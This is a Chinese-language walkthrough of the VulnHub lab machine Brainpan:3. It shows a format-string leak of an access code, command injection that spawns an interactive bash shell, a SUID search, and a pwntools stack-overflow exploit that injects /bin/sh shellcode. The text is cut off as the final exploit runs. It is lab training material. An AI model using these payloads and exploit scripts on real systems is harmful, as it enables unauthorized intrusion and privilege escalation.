vulnhub靶机渗透[brainpan-3]

名称

名称:brainpan:3
发行日期:2015年7月27日

难度

  • 万劫不复地狱难度

下载

  • Download (Mirror): https://download.vulnhub.com/brainpan/brainpan3.zip
  • Download (Torrent): https://download.vulnhub.com/brainpan/brainpan3.zip.torrent

描述

免责声明
使用此虚拟机,即表示您同意,我对任何损失或损害不承担任何责任,包括但不限于间接或间接损失或损害,或由于或来自于此而产生的数据或利润损失而造成的任何损失或损害。与使用此软件的连接。TL; DR:如果发生坏事,这不是我的错。

设定
Brainpan 3经过测试,发现可与VMware Player,VMware Fusion和Virtual Box一起使用。
检查并确保Brainpan_III.ova具有以下校验和,以便您知道下载的文件是否完整:

1
MD5:170e0d8b26ab721587537fcde69087a0SHA1:ed9ae53c556a1ce6988b3a54621dd6469c8b8aa5

将Brainpan_III.ova导入到您首选的管理程序中,并根据需要配置网络设置。它会通过DHCP获得IP地址,但是建议您在NAT内运行它,或者仅对主机OS可见,因为它容易受到攻击。

目标
root机器并获取flag。

  • barrebas : https://twitter.com/barrebas
  • Swappage : https://twitter.com/Swappage

信息收集

上nmap

1
2
3
4
5
6
7
8
9
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.117
Host is up (0.00020s latency).
MAC Address: 08:00:27:90:21:26 (Oracle VirtualBox virtual NIC)

root@kali:~# nmap -v -sV -Pn -p- 192.168.56.117 --system-dns
PORT STATE SERVICE VERSION
1337/tcp open waste?
8080/tcp closed http-proxy

方法一

找到端口1337后,可以开始使用Brainpan3。可以设置一个小的脚本来轻松地与服务器交互:

bp3.py

1
2
3
4
5
6
7
8
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)

r.interactive()

即使文字说

1
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

最初的想法是,“太酷了,四位数,Go Go Gadget Brute Force!”。原来,不是在撒谎。经过3次尝试,这个数字确实改变了。

一个登录提示,可以尝试使输入缓冲区溢出,以尝试产生堆栈溢出。这种方法的问题在于,溢出后没有二进制文件可以进行分析。最有意义的漏洞利用是格式字符串。来一些格式字符串试试!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Switching to interactive mode


__ ) _ \ \ _ _| \ | _ \ \ \ | _ _| _ _| _ _|
__ \ | | _ \ | \ | | | _ \ \ | | | |
| | __ < ___ \ | |\ | ___/ ___ \ |\ | | | |
____/ _| \_\ _/ _\ ___| _| \_| _| _/ _\ _| \_| ___| ___| ___|

by superkojiman




AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

ACCESS CODE: $ %x.%x.%x.%x.%x.
ERROR #4: WHAT IS THIS, AMATEUR HOUR?

FAILED LOGIN ATTEMPTS: 1

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

Herm ..是否在%x上进行过滤?尝试其他格式的字符串。

1
2
3
4
5
6
7
8
9
10
ACCESS CODE: $ %p.%p.%p.%p.
ERROR #1: INVALID ACCESS CODE: 0xbf8a439c.(nil).0x22dd.0xbf8a439c.

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 2

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

现在知道此输入容易受到恶意格式字符串的攻击。由于正在寻找一个4位数的访问代码,因此可以假定它可能存储在堆栈中。尝试使用%d。

1
2
3
4
5
6
7
8
9
10
11
12
13
ACCESS CODE: $ %d.%d.%d.%d.%d.%d.
ERROR #1: INVALID ACCESS CODE: -1081457764.0.4625.-1081457764.0.10.

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 3

BRUTE-FORCE ATTEMPT DETECTED
PLEASE USE THE NEW CODE DISPLAYED ON YOUR ACCESS TOKEN

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

啊!这里的第三个数是什么:4625,尝试一下访问代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
ACCESS CODE: $ 4625

--------------------------------------------------------------
SESSION: ID-7034
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

进来了!在继续进行之前,修改脚本以自动跳过访问代码:

  • 发送%d.%d.%d.%d.%d.%d
  • 提取第三个元素(访问代码)
  • 提交访问代码以进行登录

从这里开始,将继续向脚本中添加代码片段,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.interactive()

运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 8695
[*] Switching to interactive mode

--------------------------------------------------------------
SESSION: ID-4373
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

ENTER COMMAND: $

第二步

现在已经登录,可以做更多的探索。看,已经使用Command 4获得了一个Shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ENTER COMMAND: $ 4
SELECTED: 4
reynard@brainpan3 $ $ ls
total 0
-rw-rw-r-- 1 reynard reynard 22 May 10 22:26 .flag
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 give
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 up
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 never
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 gonna
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 let
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 you
-rw-rw-r-- 1 reynard reynard 0 May 10 22:26 down

当然,可以尝试溢出此shell脚本/二进制文件:

1
2
3
reynard@brainpan3 $ $ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./shell terminated
Aborted (core dumped)

经过更多尝试使用典型的recon命令whoami,uname -a等的探索,可以得出结论,该shell是无用的。尝试其他选项:

1
2
3
4
5
6
7
ENTER COMMAND: $ 1
SELECTED: 1
REPORT MODE IS DISABLED IN THIS BUILD

SELECTED: 2

CODE REPOSITORY IS NOW AVAILABLE

看起来report模式当前处于禁用状态。可以尝试打开report,但是要怎么打开?

打开REPOSITORY,在端口8080上启用Web服务,该端口还具有/repo目录,其中包含在此步骤中使用的二进制文件:

花一些时间了解这些二进制文件是如何工作的,但最终没有任何有用的东西。这里是否存在其他漏洞。

尚未查看的最后一个功能是“Update Session Name”功能:

1
2
3
4
5
ENTER COMMAND: $ 3
SELECTED: 3
ENTER NEW SESSION NAME: $ fuckfuckfuckfuck
--------------------------------------------------------------
SESSION: fuckfuckfuckfuck

有趣的是,可以从访问代码中使用会话名称复制字符串格式漏洞吗?

1
2
3
4
5
ENTER COMMAND: $ 3
SELECTED: 3
ENTER NEW SESSION NAME: $ %p.%p.%p.%p.%p.
--------------------------------------------------------------
SESSION: 0xbfcfddcc.0x104.0x252e7025.0x70252e70.0x2e70252e.

可以。丢弃堆栈中的很大一部分,看看有什么。发送70个%x。请注意,仅在末尾添加句点,以便更轻松地拆分结果字符串。这样可以使各个格式字符串与其输出之间的关联更加容易。

1
2
3
4
5
6
ENTER COMMAND: $ 3
SELECTED: 3
ENTER NEW SESSION NAME: $ %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
--------------------------------------------------------------
SESSION: bfcfddcc.104.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.ff0a2e78.b76d9c20.bfcfdf1c.0.b76d9000.b76d9ac0.b76da898.b752d940.b759f0b5.b76d9ac0.59.4e.59.b76d98a0.b76d9000.b76d9ac0.
\xff \x9cm\xb7\x1cϿ

在这里,正在研究很多重复的值。

1
2
3
>>> from pwn import *
>>> unhex('252e7825')[::-1]
'%x.%'

看起来那些重复的字符是格式字符串缓冲区。此格式字符串中有一个有趣的段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~# python
Python 2.7.17 (default, Jan 19 2020, 19:54:54)
[GCC 9.2.1 20200110] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> for item in 'b76d9ac0.59.4e.59.b76d98a0.b76d9000.b76d9ac0.'.split('.'):
... unhex(item)
...
'\xb7m\x9a\xc0'
'Y'
'N'
'Y'
'\xb7m\x98\xa0'
'\xb7m\x90\x00'
'\xb7m\x9a\xc0'
''

Y,N,Y看起来非常类似于命令菜单中显示的对话框的Y,N,Y。可以尝试在Y,N,Y上写一个缓冲区,使其变为Y,Y,Y吗?抓住4e在格式字符串中的哪个位置,以便知道有多少溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
r.interactive()

运行上面的脚本,注意,report现在出现了[Y]!nice!。看看如何处理report。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 4506
[+] Opening connection to 192.168.56.117 on port 1337: Done
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 4506
[*] Report 'N' at offset 65
[*] Switching to interactive mode
\xff �r\xb7�%\x84\xbf
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

ENTER COMMAND: SELECTED: 3
ENTER NEW SESSION NAME: --------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
AUTH [Y] REPORT [Y] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

ENTER COMMAND: $

第三步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ENTER COMMAND: $ 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

$ this is my first report!

REPORT [this is my first report!@]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20200209204930.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [dxyc/yc/}i/vybcd/bu`\x7fbd///]

从文字上看,报告似乎以某种方式进行了加密,并存储在/home/anansi/REPORTS/20200209204930.rep中。用于处理报告的二进制文件位于/ repo目录中,因此进行分析可能很有用,可以在尝试进行逆向工程之前先尝试一些其他的操作。经过几次模糊的尝试以查找缓冲区溢出和命令注入之后,得到以下内容:

1
2
3
4
5
6
7
8
9
10
$ `fuck`

REPORT [`fuck`s my first report!@]
SENDING TO REPORT MODULE

sh: 1: fuck: not found
[+] WRITING REPORT TO /home/anansi/REPORTS/20200209205212.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [��������������\xff���\xaf\xaf]

什么?!尝试通过反引号执行命令时,收到命令未找到错误消息。这是否意味着命令执行?

1
2
3
4
5
6
7
8
9
$ `whoami`

REPORT [`whoami`my first report!@]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20200209205443.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [`o`orhlx>ghsru>sdqnsu>>>]

这可能是通过stderr实现的。可以通过管道输出到stderr来接收命令输出吗?

1
2
3
4
5
6
7
8
9
10
$ `whoami >&2`

REPORT [`whoami >&2`irst report!@]
SENDING TO REPORT MODULE

anansi
[+] WRITING REPORT TO /home/anansi/REPORTS/20200209205645.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [&=<;p=*? =;ppp]

真好!现在有趣的部分,尝试获得一个shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ENTER COMMAND: $ 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

$ `/bin/bash -i >&2`

REPORT [`/bin/bash -i >&2`eport!@]
SENDING TO REPORT MODULE

bash: cannot set terminal process group (2506): Inappropriate ioctl for device
bash: no job control in this shell
anansi@brainpan3:/$ $ whoami
whoami
anansi
anansi@brainpan3:/$ $ id
id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
anansi@brainpan3:/$ $ pwd
pwd
/
anansi@brainpan3:/$ $

现在有一个用户shell程序!正常情况下,修改漏洞利用脚本以自动为我获取shell程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

HOST = '192.168.56.117'
PORT = 1337

r = remote(HOST, PORT)
r.sendline('%d.' * 6)
r.recvuntil("ACCESS CODE: ")
output = r.recv()
code = output.split('.')[2]
log.info("Code identified: {}".format(code))
r.sendline(code)
r.sendline('3')
shellcode = '%x.' * 70
r.clean()
r.sendline(shellcode)
r.recvuntil("SESSION: ")
session_name = r.recvuntil('\n').split('.')
n_index = session_name.index('4e')
log.info("Report 'N' at offset {}".format(n_index))
n_index = session_name.index('4e')
r.sendline('3')
r.sendline('Y' * (4*(n_index-2) + 1) )
for command in ['uname -a', 'whoami', 'id']:
r.clean()
r.sendline('1')
r.sendline('$({} >&2)'.format(command))

r.recvuntil("SENDING TO REPORT MODULE")
output = r.recvuntil('[+]').split('\n')[2]
log.success("{} - {}".format(command, output))
r.clean()
r.sendline('1')
r.sendline('$(/bin/bash -i >&2)')
r.interactive()

运行脚本能够成功的获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 6851
[*] Report 'N' at offset 65
[+] uname -a - Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux
[+] whoami - anansi
[+] id - uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
[*] Switching to interactive mode
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:


REPORT [$(/bin/bash -i >&2)]
SENDING TO REPORT MODULE

bash: cannot set terminal process group (2677): Inappropriate ioctl for device
bash: no job control in this shell
anansi@brainpan3:/$ $ id
id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
anansi@brainpan3:/$ $ whoami
whoami
anansi

步骤4

假设需要进行某种特权提升,寻找SUID二进制文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
anansi@brainpan3:/$ $ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/pt_chown
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/at
/usr/bin/chsh
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/home/reynard/private/cryptor
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/umount
/bin/ping6

突出显示的二进制文件是/home/neynard/private/cryptor。可以执行该二进制文件吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
anansi@brainpan3:/home/anansi$ $ cp /home/reynard/private/cryptor .
cp /home/reynard/private/cryptor .
anansi@brainpan3:/home/anansi$ $ ls -la
ls -la
total 72
drwxr-xr-x 3 anansi anansi 4096 Feb 6 13:09 .
drwxr-xr-x 5 root root 4096 May 19 2015 ..
-rw------- 1 anansi anansi 490 Feb 9 21:03 .bash_history
-rw-r--r-- 1 anansi anansi 220 May 19 2015 .bash_logout
-rw-r--r-- 1 anansi anansi 3637 May 19 2015 .bashrc
-rw-r--r-- 1 anansi anansi 675 May 19 2015 .profile
drwxrwxrwx 2 anansi anansi 4096 Feb 9 21:04 REPORTS
-rwxrwxrwx 1 root dev 314 Feb 6 13:09 brainpan.8.gz
-rwxrwxrwx 1 anansi webdev 5568 Feb 9 21:08 cryptor
-rwxrwxrwx 1 anansi anansi 591 May 21 2015 lapinblanc.txt
-rwxrwxrwx 1 anansi webdev 12316 Feb 6 11:05 msg_admin
-rwxrwxrwx 1 anansi webdev 1104 Feb 6 12:57 rootsploit.py
-rwxrwxrwx 1 anansi webdev 7609 Feb 6 10:19 trixd

将此二进制文件从Brainpan3中提取到本地计算机上。看起来只允许端口8080离开服务器。如果不激活代码存储库(命令2),那么通过Python的内置网络服务器提取文件。

1
2
anansi@brainpan3:/home/anansi$ $ python -m SimpleHTTPServer 8080
python -m SimpleHTTPServer 8080

在我们的主机上:

1
wget http://192.168.56.117:8080/cryptor

加密二进制文件的快速完整性检查:

1
2
3
4
5
6
7
8
root@kali:~/vulnhub/brainpan3/2# checksec cryptor
[*] '/root/vulnhub/brainpan3/2/cryptor'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

没有canary,也没有NX。这意味着,假设发现缓冲区溢出,可以跳回到堆栈/堆上的shellcode并从那里执行payload,从而避免ROP或其他恶作剧。查看IDA中的二进制文件,可以看到缓冲区溢出情况。看到分配了100个字节的缓冲区。

然后检查第一个参数(argv [1])是否小于或等于116个字节。

在这里,给出了将116个字节写入100字节缓冲区的情况,有可能导致溢出。有了这些知识,对其进行动态测试。打开启用了Pwndbg的gdb ./cryptor,然后将116字节的字符串与第二个垃圾字符串扔到crytor上。使用Binjitsu创建116字节的循环字符串,以帮助查明字符串溢出的位置。从静态分析中知道了应该是什么,但是拥有多个数据点总是很好。

1
2
3
>>> from pwn import *
>>> cyclic(116)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab'

使用116字节字符串运行二进制文件。

遇到崩溃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pwndbg> r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab zzzz
Starting program: /root/vulnhub/brainpan3/2/cryptor aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab zzzz
[+] saving to aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaab.enc

Program received signal SIGSEGV, Segmentation fault.
0x61616162 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
EAX 0x0
EBX 0x62616164 ('daab')
ECX 0xf7fb5000 ◂— insb byte ptr es:[edi], dx /* 0x1d6d6c */
EDX 0x0
EDI 0x636e652e ('.enc')
ESI 0xf7fb5000 ◂— insb byte ptr es:[edi], dx /* 0x1d6d6c */
EBP 0x61616161 ('aaaa')
ESP 0xffffd208 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
EIP 0x61616162 ('baaa')
─────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────
Invalid address 0x61616162










──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ esp 0xffffd208 ◂— 'caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
01:0004│ 0xffffd20c ◂— 'daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
02:0008│ 0xffffd210 ◂— 'eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
03:000c│ 0xffffd214 ◂— 'faaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
04:0010│ 0xffffd218 ◂— 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
05:0014│ 0xffffd21c ◂— 'haaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
06:0018│ 0xffffd220 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
07:001c│ 0xffffd224 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaab'
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► f 0 61616162
f 1 61616163
f 2 61616164
f 3 61616165
f 4 61616166
f 5 61616167
f 6 61616168
f 7 61616169
f 8 6161616a
f 9 6161616b
f 10 6161616c
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x61616162)

太棒了,所以在循环字符串中的offset baaa崩溃了。让我们通过替换baaa来创建我们的payload,以了解我们拥有EIP的控制权。

1
2
3
4
>>> shellcode = 'A' * cyclic_find('baaa') + 'BBBB'
>>> shellcode += 'C' * (116 - len(shellcode))
>>> print shellcode
AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

如果是正确的,应该在EIP中看到BBBB。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pwndbg> r AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC zzzz
Starting program: /root/vulnhub/brainpan3/2/cryptor AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC zzzz
[+] saving to AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC.enc

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
EAX 0x0
EBX 0x43434343 ('CCCC')
ECX 0xf7fb5000 ◂— insb byte ptr es:[edi], dx /* 0x1d6d6c */
EDX 0x0
EDI 0x636e652e ('.enc')
ESI 0xf7fb5000 ◂— insb byte ptr es:[edi], dx /* 0x1d6d6c */
EBP 0x41414141 ('AAAA')
ESP 0xffffd208 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'
EIP 0x42424242 ('BBBB') <== 真的非常的牛批!!!
─────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────
Invalid address 0x42424242










──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ esp 0xffffd208 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'
... ↓
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► f 0 42424242
f 1 43434343
f 2 43434343
f 3 43434343
f 4 43434343
f 5 43434343
f 6 43434343
f 7 43434343
f 8 43434343
f 9 43434343
f 10 43434343
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x42424242)

还从静态分析中注意到,第二个参数存储在位于0x804a080的全局数组中。如果将shellcode写入全局数组,则可以将EIP指向该缓冲区并可能获胜。攻击计划如下:

  • 用0x804a080覆盖返回地址BBBB
  • 在第二个参数中删除/bin/sh shellcode以获得一个shell

我们得到的测试脚本如下:

test.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

shellcode = 'A' * cyclic_find('baaa') + p32(0x804a080)
shellcode += 'C' * (116 - len(shellcode))

r = process(['./cryptor', shellcode, asm(shellcraft.sh())])

offset = cyclic_find('baaa')
buffer = 116 - len(shellcode)

binsh_shellcode = asm(shellcraft.sh())

argv1 = '"A" * {} + "{}" + "C" * {}'.format(offset, r'\x80\xa0\x04\x08', buffer)

argv2 = ''.join('\\x{}'.format(enhex(binsh_shellcode)[x:x+2]) for x in xrange(0, len(enhex(binsh_shellcode)), 2))

actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""".format(argv1, argv2)

log.info(actual_shellcode)

r.sendline('cd /home/reynard/private')
while True:
r.clean()
r.sendline(actual_shellcode)
r.clean()
r.sendline('id')
output = r.recv()
if 'root' in output:
break

log.info("Shell recevied: root")

r.interactive()

成功利用漏洞获取了本地的shell

1
2
3
4
5
6
7
8
9
root@kali:~/vulnhub/brainpan3/2# python test.py 
[+] Starting local process './cryptor': pid 20596
